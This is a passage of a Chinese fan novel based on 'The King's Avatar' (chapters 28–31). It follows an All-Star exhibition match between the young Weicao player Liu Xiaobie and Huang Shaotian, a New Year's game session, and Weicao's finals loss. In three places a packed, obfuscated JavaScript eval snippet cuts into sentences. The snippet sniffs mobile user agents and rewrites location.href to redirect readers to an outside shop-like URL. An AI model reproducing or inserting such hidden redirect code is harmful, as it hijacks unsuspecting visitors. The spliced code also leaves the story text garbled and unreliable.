但也正因如此,他们对于能够承办全明星周末这样的顶级活动格外上心,早早便开始铺天盖地地宣传,铆足了劲要借这次机会提升战队和主场城市的知名度。 他们的队长肖时钦,作为联盟中顶尖的战术大师和机械师操作者,沉稳可靠的个人形象和出色的指挥能力,自然成了这次宣传的核心,海报、宣传片、访谈节目里,到处都能看到他戴着眼镜、神情专注的身影。 微草这边,方士谦觉得这是个让夏轻禾感受联盟顶级赛事氛围、开阔眼界的好机会,便给她也订了票,准备带她去现场亲身感受一下那股热闹劲儿。 王杰希一如既往地带上了高英杰,让他提前适应这种万众瞩目的大场面。 刘小别听说后,也表示想亲眼去看看高手云集的盛况,自己买了张票。只有乔一帆,因为家里临时有些事要处理,遗憾地没能一同前往。 于是,全明星周末第一天的新秀挑战赛,夏轻禾、高英杰、刘小别三人便坐在了W市体育馆那足以容纳数万人的观众席上,位置视角不错,能将中央舞台上的精彩对决尽收眼底。 新秀挑战赛向来是全明星周末最具看点和爆点的环节之一。今年登台挑战的新人们也都憋着一股劲,选择的挑战对象不乏叶秋、韩文清、张佳乐这样的联盟顶尖大神。一场场或精彩绝伦、或充满意外、或令人捧腹的对决轮番上演,现场气氛高潮迭起,惊呼声、掌声、笑声不绝于耳。 夏轻禾三人看得全神贯注,兴奋地边看边小声交流。 第一天的活动在热烈欢腾的气氛中落下帷幕,三人意犹未尽,对第二天的活动更加期待。 全明星周末第二天,除了备受瞩目的全明星正赛,还有一个深受普通粉丝喜爱的互动环节,那就是幸运观众挑战赛。由受邀上台的职业明星选手,现场随机抽取座位号,被抽中的幸运观众可以登上舞台,与这位职业选手进行一场简短而有趣的友谊赛。 当主持人宣布这个环节开始,整个场馆的气氛瞬间被点燃。每个人都屏住呼吸,盯着屏幕,心里默念着自己的座位号,期盼着那份从天而降的幸运。 首先被邀请上台的职业选手,是蓝雨战队的王牌黄少天。 黄少天今天显然精心打扮过,浅金色的头发在灯光下格外显眼,一身合体的蓝雨队服,脸上带着标志性的、活力四射的笑容。他一上台,还没等主持人多介绍,就自己拿过话筒,对着台下观众挥了挥手,语速飞快地开始暖场: “嗨!现场的各位朋友们大家晚上好!我是蓝雨战队的黄少天!很高兴来到W市参加全明星周末!今天天气不错啊大家心情怎么样?是不是都等着看精彩的比赛?放心!待会保证让你们看得过瘾!看看是哪位幸运的朋友能有机会跟我过过招?放心,我很温柔的,绝对不会手下留情……哦不是,是肯定会好好指点的!来来来,大屏幕滚动起来!” 他一番轻车熟路似的开场,把主持人都逗乐了,台下更是笑声和欢呼声一片。黄少天的搞怪和话痨属性,在这种场合总是格外受欢迎。 “好!那么请黄少来为我们抽取第一位幸运观众!”主持人笑着将控制大屏幕滚动的遥控器递给黄少天。 黄少天接过,装模作样地对着大屏幕比划了一下,嘴里还念叨着“天灵灵地灵灵”,然后猛地按下按钮。 飞速滚动的数字骤然停止。 “B区,5排,8号!恭喜这位幸运观众!”主持人高声宣布。 聚光灯和全场目光瞬间投向B区5排。 夏轻禾和高英杰都下意识地看向身边的刘小别,他们想起来刘小别的票,好像就是B区5排8号! 刘小别自己也愣了一下,低头看了一眼手里的票根,确认无误。他脸上没什么特别的表情,只是在周围观众羡慕嫉妒恨的目光注视和轻微的推搡催促下,缓缓站了起来。 “小别!是你!!”夏轻禾激动地差点跳起来,压低声音叫道。 高英杰也眼睛发亮,用力点了点头。 刘小别朝他们微微颔首,随手整理了一下身上那件显眼的微草队服外套,迈开步子,在工作人员的微笑引导下,穿过观众席,走向中央那灯光璀璨的舞台。 聚光灯追随着他的身影,当他踏上舞台,站在笑容满面的主持人和一脸“哎哟居然是个穿微草衣服的小鬼”表情的黄少天身边时,清秀中带着锐气的少年面孔和胸前那抹微草的绿色,通过环绕全场的大屏幕,清晰地呈现在所有观众眼前。 “欢迎我们这位幸运的观众朋友!”主持人将话筒递到刘小别面前,语气热情,“先跟大家打个招呼吧!怎么称呼?” “我叫刘小别。”刘小别的回答简洁明了,声音透过音响传开,平稳清晰,倒是听不出太多紧张。 “刘小别,很好听的名字。”主持人笑道,目光自然落在他胸前的微草队徽上,“哦?看来是我们微草战队的支持者啊!” 刘小别点了点头:“是。” 台下顿时响起一片善意的掌声,尤其是微草粉丝聚集的区域,更是爆发出不小的欢呼。 黄少天在一旁饶有兴致地打量着刘小别,嘴角噙着笑。 “那么,小别同学,”主持人继续问道,“你打算用什么职业来挑战我们的黄少天选手呢?” 刘小别的目光转向黄少天,两人视线在空中有了短暂的交汇。刘小别眼中没有怯意,只有一种属于少年的、毫不掩饰的锐气和战意。他收回目光,对着话筒,清晰地说道: “我也用剑客。” 现场瞬间沸腾了! 剑客对剑客!而且还是微草的粉丝挑战蓝雨的黄少天,这话题性、戏剧性、对抗性,直接拉满!观众们的热情被彻底点燃,欢呼声、口哨声、起哄声响成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108716|194490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一片。 黄少天活动了一下手腕,脸上笑容扩大,显然对这个选择非常满意。 主持人也兴奋起来:“剑客对剑客!太有看点了!小别同学,作为微草的粉丝,选择用剑客挑战黄少天,是有什么特别的理由吗?比如,想向剑圣证明一下微草剑客的实力?” 刘小别接过话筒,看着台下无数的目光和镜头,年轻的脸上没有怯场,只有一种近乎执拗的坚定和野心。他对着话筒,一字一句,清晰而响亮地说道: “没什么,我只是想说,未来我会成为第一剑客。” 话音落下,全场先是一静,仿佛被这石破天惊的宣言震住了。紧接着,爆发出比刚才更加热烈的喧哗和惊呼。这话说得,太霸气,也太嚣张了!在剑圣黄少天面前,在数万观众面前,一个连职业选手还不是的少年,直言要成为“第一剑客”!这是何等的自信,又是何等的初生牛犊不怕虎! 主持人也呆了一瞬,随即反应极快地将话筒递给了早已按捺不住、眼睛都快放出光来的黄少天。 黄少天一把抓过话筒,脸上的笑容灿烂得几乎要闪瞎人眼,语速瞬间开启狂暴模式: “哎哟这位微草的小朋友很有想法嘛!第一剑客?口气不小啊!要知道联盟里用剑的高手那可多了去了,可不是光靠说说就能当第一的!不过勇气可嘉!我喜欢!来来来,让我看看微草粉丝的剑客水平到底怎么样!是不是也跟你们王队一样喜欢玩点神出鬼没?不过在我的夜雨声烦面前,任何套路都是纸老虎!待会可要小心了,我的剑可是很快的,别被打得找不到北然后哭着回去找你们王队告状啊!那样可就不好玩了哈哈哈……” 他滔滔不绝,语速快得如同加特林机枪,脸上的表情生动无比,显然是被刘小别那句“第一剑客”彻底点燃了表达欲和好胜心。 主持人站在旁边,听着黄少天不带停的话语,额头上隐隐见汗,笑容都有点僵硬了。他趁着黄少天换气的、极其短暂的间隙,眼疾手快、几乎是抢一般地把话筒拿了回来,干笑着提高音量打断:“哈哈,看来黄少对这场对决非常期待!也对我们的小别同学寄予厚望!那么,两位请就位,比赛马上开始!” 黄少天意犹未尽地咂咂嘴,把空了的话筒还给工作人员,冲刘小别做了个“放马过来”的眼神。 如果以后有细心的微草或者蓝雨粉丝,回头翻看这一届全明星周末的录像或文字记录,或许会恍然大悟般发现,原来这两家战队未来那些堪称经典、火花四溅的宿命对决和“孽缘”,早在这场看似偶然的幸运观众挑战赛上,当那个穿着微草队服的少年,对着黄少天说出“我会成为第一剑客”时碰撞上了。 一个野心勃勃、锋芒毕露的微草未来剑客。 一个光芒万丈、话痨与实力并存的蓝雨王牌剑客。 聚光灯下,刘小别和黄少天已经各自走向比赛台,工作人员正在做最后的设备调试,全场观众的目光都聚焦于此。 刘小别揉了揉手腕,深呼吸一口气,将账号卡插入读卡器中。 29.下次会赢 舞台两侧的比赛台灯光亮起,将端坐其上的两人身影勾勒得格外清晰。 一边是联盟中早已声名赫赫的蓝雨王牌黄少天,操作着他的神级角色夜雨声烦;另一边,则是刚刚在全场面前掷下豪言的少年刘小别,使用的角色是一个名为飞刀剑的剑客,装备在网游里算是不错,但和夜雨声烦那身华丽且属性强悍的银装相比,就显得朴素了许多。 全息投影将游戏内的场景清晰地投射在舞台中央。地图随机到了一张中等大小的擂台图试剑坪,青石板铺就的场地,四周是简单的栏杆,风格简洁明了,显然是为了让对决更直接地聚焦于操作本身。 倒计时归零。 几乎在开始的瞬间,双方角色便同时动了起来! 夜雨声烦身形一晃,手中光剑冰雨带起一道幽蓝的寒光,并未直接前冲,而是以一个精妙的小幅度Z字抖动拉开了些许距离,同时角色视角飞快地扫过全场,显然是在观察对手的起手习惯和移动节奏。这是黄少天惯用的开场,看似随意,实则充满了试探和计算。 而飞刀剑的动作则截然不同! 快! 刘小别的操作风格在第一时间便展现得淋漓尽致——快得惊人! 飞刀剑几乎没有丝毫停顿,开场便是剑客的疾跑加速,如同一支离弦的绿色箭矢,笔直地朝着夜雨声烦冲去。他的移动轨迹并非直线,而是带着一种急促的、小幅度高频变向,让人难以准确预判其落点。 双方距离迅速拉近! 夜雨声烦在飞刀剑即将进入攻击范围的瞬间,冰雨剑光一闪,一记看似普通的直刺,角度却刁钻地指向飞刀剑冲刺路径上可能转向的一个位置。这是黄少天经验老到的预判。 然而,飞刀剑在几乎不可能的情况下,硬生生将冲刺中的身体向侧后方拉回半步,同时手中长剑上撩,铛的一声脆响,格挡住了这一剑。虽然因为属性差距和格挡不完全,飞刀剑血量掉了一小截,但这次应对之快、之准,让台下响起一片低低的惊呼。 “哟?”黄少天轻咦了一声,手上操作却毫不停顿。夜雨声烦格挡被破,顺势就是一个后跳,拉开距离的同时,冰雨划出一道弧线,落凤斩凌空劈下! 飞刀剑不退反进,他似乎早就预判到了黄少天的后续动作,在格挡结束的瞬间,一个小侧滑避开了落凤斩的主要伤害范围,手中长剑疾刺而出,连突刺的动作干净利落,衔接流畅得仿佛没有公共冷却时间。 夜雨声烦在空中强行扭身,冰雨下压,用剑身拍开了这一记连突刺,但飞刀剑的第二刺已经到了,速度更快! 黄少天发现了。这小子,手速好快!而且不只是快,这种在高速操作中依然能保持精准连击和预判的能力…… 夜雨声烦落地,脚步还未站稳,飞刀剑的第三剑已经带着破风声刺到。刘小别赫然将连突刺与三段斩的前两段强行衔接,打出了一波极快的小爆发。 “漂亮!”台下有懂行的观众忍不住喝彩。这种强行取消技能后摇、依靠极限手速打出的连续技,对操作者的负荷极大,但效果也极好,瞬间将夜雨声烦逼入了短暂的被动。 黄少天毕竟是黄少天。夜雨声烦在间不容发之际,一个受身操作接翻滚,险之又险地避开了三段斩最凌厉的第三段,同时冰雨反手撩起。 范围性的剑光将飞刀剑可能追击的路线封死。然而飞刀剑仿佛早有预料,三段斩强行中断,角色一个后跳小位移,恰恰避开了逆风刺的剑锋。 攻防转换只在电光石火之间。从飞刀剑发起冲锋到此刻,不过短短六七秒,双方已经交换了数轮攻防,剑光纵横,令人目不暇接。飞刀剑那疾风骤雨般的进攻和精准的应对,让所有观众都瞪大了眼睛。 大屏幕上,适时地切出了刘小别的实时手速数据曲线。那原本平稳的线条,在比赛开始后瞬间飙升,峰值赫然达到了惊人的400! 而且,这个峰值并非一闪而逝,曲线在高位剧烈地起伏波动着,显示出操作者正在进行着高强度、高频率的指令输入,数值还在隐隐有着继续攀升的趋势! 400的APM,对于一个尚未正式出道的普通人来说,这简直是骇人听闻的数据!要知道,很多职业选手在激烈对抗中的平均手速也不过在300上下,峰值能达到400的已是凤毛麟角。 选首席上,原本还在轻松谈笑、观看这场娱乐赛的职业选手们,此刻也都不由自主地坐直了身体,目光聚焦在舞台和大屏幕上。 “这手速……有点吓人啊。”虚空战队的李轩摸着下巴,若有所思。 “不是普通粉丝吧?训练营出来的!”呼啸战队的林敬言推了推眼镜。 “不仅仅是手速快,节奏感和预判也相当不错。”霸图的张新杰点评道,语气一如既往的平静,但眼神里也多了一丝审视。 “老王,你们微草藏了个宝贝啊?”有人笑着对微草席位上的王杰希说道。 王杰希没有回答,只是静静地看着台上。他的目光落在飞刀剑那快速移动、不断寻找进攻机会的身影上,又扫过大屏幕上那令人心惊的手速曲线,脸上没什么表情,但熟悉他的人却能看出,他眼神深处闪过一丝极淡的、难以捉摸的光芒。 蓝雨战队席位,喻文州双手交握放在膝上,目光平静地注视着比赛。他看得很仔细,不仅看飞刀剑的操作,也看夜雨声烦的应对。黄少天显然也被激起了好胜心,操作越来越认真,夜雨声烦的剑光愈发凌厉多变,将剑圣的底蕴和狡猾展现得淋漓尽致。但那个飞刀剑,虽然装备和角色属性处于劣势,经验也明显不如黄少天老道,却硬是凭借着那股不要命般的快速抢攻和精准的预判闪避,将比赛拖入了一种高速对攻的僵持局面。 ‘真的只是普通的微草粉丝吗?’喻文州心里想着,目光不由得转向了微草战队所在的区域,落在了王杰希身上。那个总是没什么表情的微草队长,此刻正专注地看着比赛。 喻文州轻轻推了下眼镜。他觉得,这个叫刘小别的少年,恐怕不是什么普通粉丝。这手速,这打法,这面对黄少天毫不怯场甚至隐隐带着挑衅意味的气势……八成是微草训练营的成员,而且,是受到重点培养的那种。不出意外的话,下个赛季,或许更早,他就会出现在职业赛场上,成为他们蓝雨需要认真对待的对手。 一场原本带着娱乐性质的幸运观众挑战赛,因为刘小别的横空出世和黄少天的认真对待,竟隐隐打出了职业级对抗的紧张感和技术含量。 台上,激战正酣。 飞刀剑再次凭借超快的手速和反应,用一记精准的格挡化解了夜雨声烦一次诡谲的侧翼偷袭,反手就是一记拔刀斩横扫。夜雨声烦轻巧跃起,冰雨在空中划出数道剑影。 夜雨声烦手中的冰雨剑骤然变得虚幻,数道凌厉的剑影凭空浮现,交织成一片令人眼花缭乱的剑网,朝着飞刀剑笼罩而去——幻影无形剑! 剑圣的招牌大招,攻势如潮,变幻莫测,不仅伤害极高,更带有极强的压制和控制效果。 面对这铺天盖地的剑影,飞刀剑没有选择后退。后退,只会将更多的攻击范围纳入其中,陷入更被动的局面。刘小别的操作在刹那间做出了最符合他风格的选择。 飞刀剑手中长剑悍然递出,不是格挡,不是招架,而是抢攻!一记角度刁钻的迎风一刀斩,直刺剑影中一道看似虚幻、实则为后续连招铺垫的剑光! “铛!” 金铁交鸣的巨响透过音响传遍全场。飞刀剑这记大胆的抢攻,竟然真的精准命中了幻影无形剑起手式中的一个关键节点,虽然自身被震得后仰,血量又掉了一截,却成功打断了黄少天后续更为凌厉的连招变化! “哦?”黄少天轻哼一声,语气里带着明显的惊讶和赞赏。能在电光石火间判断出幻影无形剑的起手破绽并敢于抢攻打断,这份眼力和胆魄,绝非普通玩家能有。 幻影无形剑的节奏被打乱,但黄少天的变招何其之快,夜雨声烦手腕一抖,冰雨剑光并未散去,反而顺势化劈为挑,一记迅捷无伦的升龙斩撩起,直取飞刀剑因后仰而露出的空档! 飞刀剑似乎早有预料,后仰中的角色强行扭身,一个狼狈却有效的侧滚,冰雨的剑锋擦着他的肩甲划过,带起一串火星和又一小截血量。他滚地的同时,手中长剑已然挥出,一道剑气贴着地面急速扫向夜雨声烦下盘。 黄少天反应神速,夜雨声烦轻巧跃起,避开了这道偷袭性质的剑气。但他人在空中,飞刀剑却已趁机起身,再次悍然发动抢攻!这一次的三段斩,衔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108717|194490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接得比之前更加狂暴快速,三道剑光几乎连成一片,朝着刚落地的夜雨声烦席卷而去! “好快!”台下惊呼声此起彼伏。大屏幕上,刘小别的手速曲线再次飙升,峰值已然突破了450,并且在高位剧烈震荡,显示出他正将手速催发到极致! 黄少天的脸色也真正认真了起来。夜雨声烦落地瞬间,脚步未稳,面对这疾风骤雨般的三段斩,他没有再选择格挡或后退,冰雨剑骤然爆发出更加璀璨的蓝光——剑定天下! 冰雨带起一道巨大的扇形剑芒,带着无可匹敌的威势,朝着飞刀剑的三段斩正面轰去。 轰! 技能碰撞的炫目光效和音效淹没了擂台。光影散去,只见飞刀剑被剑定天下的磅礴剑气震得向后踉跄滑退,血量瞬间见底,只剩一丝血皮在顽强地闪烁。而夜雨声烦虽然也吃下了三段斩的部分伤害,但血量依然稳健地保持在四分之三左右。 装备和属性的巨大差距,在绝对的力量对撼中显露无遗。 飞刀剑稳住身形,没有丝毫犹豫,甚至没有去看自己那岌岌可危的血条,手中长剑再次举起,剑尖直指夜雨声烦。那姿态,分明是还要继续进攻! “到此为止了。”黄少天的声音透过比赛台的内部通讯传来,带着明显的笑意,“小子,打得不错。” 几乎在他话音落下的同时,飞刀剑那最后一丝血皮,也因为技能碰撞的后续伤害和自身的持续掉血而悄然熄灭。 飞刀剑,倒地。 夜雨声烦,胜。 比赛结束。 场馆内安静了一瞬,随即爆发出雷鸣般的掌声和欢呼。这掌声,不仅仅是给获胜的剑圣黄少天,更是给那个虽然落败,却在这场短暂的对决中,将惊人的手速、无畏的勇气和精准的判断展现得淋漓尽致的刘小别! “太精彩了!” “这手速!这反应!真的只是普通粉丝吗?说他是训练营的我都信!” “黄少赢得也不轻松啊!看,他血量掉了快四分之一呢!” 观众们议论纷纷,脸上都带着兴奋和意犹未尽。这场本以为只是走个过场的娱乐赛,竟然打出了如此高质量、高对抗性的内容,大大超出了所有人的预期。 黄少天退出比赛,摘下耳机,活动了一下有些发酸的手指,脸上笑容灿烂。他走到舞台中央,对着台下挥手,然后又看向刚从比赛台走下来的刘小别。 刘小别脸上没什么表情,既没有输掉比赛的沮丧,也没有因为表现出色而沾沾自喜。他只是平静地走回舞台中央,站定。 主持人连忙上前,将话筒递给黄少天。 “怎么样,黄少,对这场对决有什么评价?”主持人笑问。 黄少天接过话筒,看了一眼旁边的刘小别,难得地没有立刻开启话痨模式,而是先认真地说道:“打得很好。手速非常快,判断也很准,胆子很大。” 他顿了顿,脸上又露出那标志性的、带着点调侃的笑容,“不过,第一剑客的名号可不是光靠手速快就行的。小朋友,继续加油吧!我等着你以后在正式比赛里再来挑战我!” 台下掌声再次响起。 主持人又将话筒递给刘小别:“小别同学,虽然输了比赛,但你的表现大家都看到了,非常出色!有什么想说的吗?” 刘小别接过话筒,看了一眼台下,又看了看旁边的黄少天,沉默了两秒,只说了一句话: “下次,我会赢回来。” 声音不大,却清晰地传遍了全场。 没有多余的解释,没有客套的感谢,只有最直接、最纯粹的宣言。 黄少天闻言,哈哈大笑,用力拍了拍刘小别的肩膀:“好!我等着!” 台下观众也被这简洁有力的宣言再次点燃,欢呼声更加热烈。 而看台上,夏轻禾和高英杰早已激动得站了起来,用力地鼓掌,手掌都拍红了。夏轻禾更是恨不得冲上台去给刘小别一个大大的拥抱 选首席上,喻文州收回目光,看向身边的队友,轻声说:“下个赛季,要重点关注这个刘小别了。” 王杰希依旧没什么表示,只是手指在座椅扶手上轻轻敲了敲,望着台上那个平静退场的绿色身影,眼底深处,某种规划似乎变得更加清晰。 30.新的一年 全明星周末的热闹喧嚣,随着年关将近,渐渐被更浓厚的节日气氛所取代。荣耀职业联盟也进入了短暂的春节休赛期,队员们纷纷离队,回家与亲人团聚。 夏轻禾和训练营的小伙伴们短暂告别,约好了年后回来再一起加练,便也收拾行囊,回到了那个虽然常常冷清、但此刻却因为节日而变得格外温暖的家。 B市的街头巷尾早已被喜庆的红色装点。大红灯笼高高挂起,春联福字贴满了门窗,空气中仿佛都飘着年夜饭的香气和鞭炮隐约的硫磺味,年味十足。 推开家门,一股熟悉又温暖的饭菜香味扑面而来。夏轻禾惊喜地发现,原本总是忙碌不见人影的父母,今年竟然早早地回来了,正在厨房里忙碌着。系着围裙的妈妈在炸带鱼,爸爸则在认真地处理一条肥美的鲤鱼。更让她高兴的是,客厅里还传来了熟悉的说笑声。姐姐夏茗和姐夫秦天然也回来了! “爸!妈!姐!天然哥!”夏轻禾放下行李,开心地喊道。 “轻禾回来啦!”夏茗从沙发上站起来,笑着迎过来,秦天然也微笑着朝她点头。 “快去洗手,准备吃饭了!”妈妈从厨房探出头,脸上带着忙碌却满足的笑容。 这是夏轻禾最喜欢的一天。家人团聚,热气腾腾的年夜饭,温馨的闲聊,还有窗外时不时响起的、属于节庆的独特声响。所有的训练压力、比赛胜负、对未来的迷茫,在这一刻都被暂时抛到了脑后。她沉浸在纯粹的、属于家庭的快乐中。 年夜饭丰盛而热闹,一家人围坐在一起,边吃边聊。父母询问着夏轻禾在训练营的生活,姐姐和姐夫分享着他们婚后的趣事和未来的计划。电视里播放着喜庆的春晚节目,虽然不一定认真看,但那份背景音也让气氛更加圆满。 吃完饭,帮着收拾好碗筷,夏轻禾陪着家人又看了一会儿春晚,聊了会儿天。等到长辈们开始有些困倦,各自回房休息后,她才回到自己房间。 窗外,城市的夜空被绚烂的烟花不时照亮,映着家家户户窗户透出的暖光。夏轻禾坐在电脑前,犹豫了一下,还是按下了开机键。倒不是还想训练,只是习惯性地想看看。 登录荣耀,进入游戏。 春节期间的荣耀世界也焕然一新。主城张灯结彩,NPC都换上了喜庆的服饰,到处播放着欢快的节日音乐,天空中还不时有虚拟的烟花炸开。游戏里也推出了新年专属活动,大多是些轻松有趣、奖励不错的小副本和任务。 夏轻禾操作着守护天使云帆,在主城里慢慢走着,感受着游戏里的节日气氛。她翻了翻好友列表,灰掉的头像居多,毕竟是大年三十,大家要么在团圆,要么在走亲访友。乔一帆、高英杰、刘小别的头像都是暗的。 不过,横刀的头像倒是亮着。 夏轻禾想了想,发了条消息过去。 [云帆]:横刀大哥,新年好呀!还在游戏里奋斗呢? 消息几乎是秒回。 [横刀]:云帆妹子!新年好新年好!哈哈,家里亲戚小孩太吵,躲清净上来看看活动。你也还没睡? [云帆]:嗯,刚吃完饭,上来看看。新年活动好像挺有意思的? [横刀]:对啊,有个双人娱乐副本,,难度很低,就是跑跑图打打小怪,收集年货换奖励,最后还能开红包拼手气!要不要一起?我正好缺个队友。 [云帆]:好啊!走起! 两人组队,进入了那个春节专属副本。副本里果然是一片喜庆景象,要击败的不是凶神恶煞的怪物,而是一些调皮捣蛋的年兽幼崽和偷吃供品的“灶王爷手下的小精怪”,任务则是收集“福字”、“春联”、“饺子”、“鞭炮”等象征吉祥的年货。 副本很简单,几乎没什么难度,就是图个乐呵。夏轻禾和横刀一边打怪捡东西,一边在队伍频道里闲聊。 [横刀]:妹子今年过年家里热闹吗? [云帆]:挺热闹的!姐姐姐夫都回来了!横刀大哥你呢? [横刀]:还行,一大家子人,吵是吵了点,但也挺有年味。 [横刀]:对了,刚才那波小怪掉了个金元宝,你手快,归你了。 [云帆]:哈哈,谢谢! 两人配合默契,很快就把副本里要求的年货收集齐了。提交任务后,系统跳出了奖励提示,除了经验、金币和一些节日限定材料外,还有一个特殊的奖励。因为两人是首次组队完成该副本,获得了一个奖励的组队称号“新春搭档”。 称号闪着金红色的光芒,看起来挺喜庆。横刀立刻就把称号挂上了,他的狂剑士头顶立刻出现了“新春搭档”四个字。 [横刀]:哈哈,这称号不错!妹子你也挂上! [云帆]:好嘞! 夏轻禾也把称号挂上,看着云帆头顶的“新春搭档”,觉得有点好玩。 最后是开红包环节。系统根据两人在副本中的表现综合评分,发放了两个虚拟红包,可以随机开出各种奖励,从稀有材料到绝版外观,应有尽有。 [横刀]:来来来,拼手气的时候到了!妹子你先开! [云帆]:那我开了啊! 夏轻禾点击打开自己的红包。屏幕上特效闪烁,最后定格。开出了一件限时7天的、非常华丽的红色春节主题时装,以及几个不错的强化材料。 [横刀]:哇!手气可以啊!这时装真好看!妹子快穿上看看! 云帆:嘿嘿,运气不错!该你了横刀大哥! 横刀点开自己的红包,特效过后开出了一堆普通药剂和少量金币。 [横刀]:……我就知道。我这手气,向来是垫底的命。恭喜妹子! 两人都笑了起来。活动到此基本结束,奖励也领得差不多了。 退出副本后,两人站在依旧热闹的主城里。横刀似乎犹豫了一下,才在队伍频道打字。 [横刀]:云帆妹子,有件事……想跟你说一下。 [云帆]:嗯?什么事呀? [横刀]:下个赛季……我可能没办法像现在这样经常泡在游戏里,跟你一起下本打BOSS了。 [云帆]:啊?为什么?工作忙了吗? [横刀]:不是。我… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133655|194490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …下个赛季,我要在越云战队出道了。 夏轻禾看着屏幕上的字,愣了一下。越云战队?那个联盟中下游的队伍?横刀大哥……要成为职业选手了? 她心里先是惊讶,随即涌上由衷的喜悦和祝福。 [云帆]:真的吗?!恭喜你啊横刀大哥!太厉害了!你要打职业了!我就知道你技术那么好,肯定不是普通玩家! [横刀]:哈哈,谢谢妹子!其实也准备了挺久,运气还不错,被越云看中了。以后上游戏的时间肯定要大大减少了,训练和比赛会占掉大部分精力。 [云帆]:没关系!这是好事啊!到时候我一定看你的比赛,给你加油! [横刀]:那敢情好!哦对了,妹子…… 横刀顿了顿,似乎组织了一下语言。 [横刀]:你的技术,我是亲眼见过的。守护天使玩得那么溜,意识也好,反应又快。说实话,比我见过的不少职业队的替补治疗都强。你有没有想过……也去打职业? 夏轻禾看着这句话,心里猛地一跳。 [横刀]:你要是真有这个想法,我可以跟越云那边推荐一下你。虽然我们队不算强队,但也是个正规的职业俱乐部平台。以你的水平,来试训一下,我觉得希望很大。怎么样?考虑考虑? 夏轻禾愣住了。她没想到,横刀在即将踏上职业道路的时候,还会想着她,甚至愿意为她引荐。这份心意,让她心里有点感动。 她手指放在键盘上,迟疑了好一会儿。最终,她没有告诉横刀自己是方士谦徒弟。她只是回复道: [云帆]:谢谢横刀大哥!你这么看得起我,我真的很开心,也很感动。不过……打职业的事,我暂时还没考虑好。而且,我现实里也比较忙,可能抽不出那么多时间进行系统的职业训练。还是先祝福你在越云一切顺利,打出好成绩!我会一直支持你的! 横刀那边沉默了片刻,似乎有些遗憾,但也没有强求。 [横刀]:好吧,妹子你肯定有自己的打算。不管怎么样,认识你这个朋友,一起打过那么多本,挺开心的。以后游戏里碰到了,还可以一起玩! [云帆]:嗯!横刀大哥加油! [横刀]:你也是!妹子,提前给你拜年了!新年快乐,万事如意! [云帆]:横刀大哥也新年快乐!心想事成! 互道祝福后,横刀的头像暗了下去,似乎是下线了。 夏轻禾独自站在热闹喜庆的游戏主城里,看着周围跑来跑去、欢庆新年的玩家们,又看了看自己头顶那个“新春搭档”的称号,心里有种说不出的感觉。 转眼就快要一个赛季了,横刀要成为职业选手了。刘小别在全明星上大放异彩,乔一帆在默默尝试新的可能,高英杰被队长寄予厚望。而自己,也在师父的指导下,朝着那个看似遥远的目标一点点前进。 她深呼吸一口气。 窗外,零点钟声敲响,更加密集灿烂的烟花在夜空中绽放,映亮了整个城市。 新的一年,微草,还有她,都要更加努力才行啊。 31.我来嘉世 微草俱乐部里一片死寂。 空气像是凝固了,夏轻禾坐在训练营靠后的位置,眼睛盯着屏幕,手指却没动。 比赛已经结束快三个小时了,但她脑子里还是那最后几秒的画面。方士谦的冬虫夏草倒在地上,屏幕灰下去,蓝雨那边爆发出欢呼,黄少天跳起来抱住喻文州,台下全是蓝色的荧光棒在晃,晃得人眼睛发酸。 微草输了。 在自己的主场,第六赛季的总决赛,卫冕冠军输给了蓝雨。 乔一帆坐在她旁边,几次想开口,又不知道说什么,最后只是小声问:“轻禾姐,你……要不要喝点水?” 夏轻禾摇了摇头。 她不是难过,至少不全是,更多的是一种憋屈。明明那么近了,奖杯就在眼前,怎么就能输了?喻文州那个心脏的战术,黄少天那个烦人的垃圾话,还有剑与诅咒那套配合……她看得一清二楚,可就算看得清,也想不出破解的办法。 如果换她上去,能做得比方士谦更好吗? 她不知道。 训练营的其他人陆陆续续收拾东西走了,有人叹气,有人小声议论,气氛沉重得能拧出水。夏轻禾又坐了一会儿,直到乔一帆也站起来,犹豫地看着她。 “我先回去了,轻禾姐,你……别太难过了。” “我没难过。”夏轻禾站起来,拍了拍他的肩膀,“回去吧,明天见。” 等乔一帆走了,她才慢慢走出训练室。走廊里空荡荡的,偶尔有工作人员经过,也都是低着头快步走,没人说话。她绕到选手休息区那边,远远就看见方士谦靠在墙边,手里拿着瓶水,没喝,只是看着天花板发呆。 王杰希站在他旁边,两人都没说话。 夏轻禾停下脚步,没敢过去。她现在不想跟任何人说话,尤其是方士谦。她不知道怎么开口,是安慰他“明年再来”,还是说“你已经尽力了”?哪一种都显得苍白。 她转身,悄悄从侧门溜了出去。 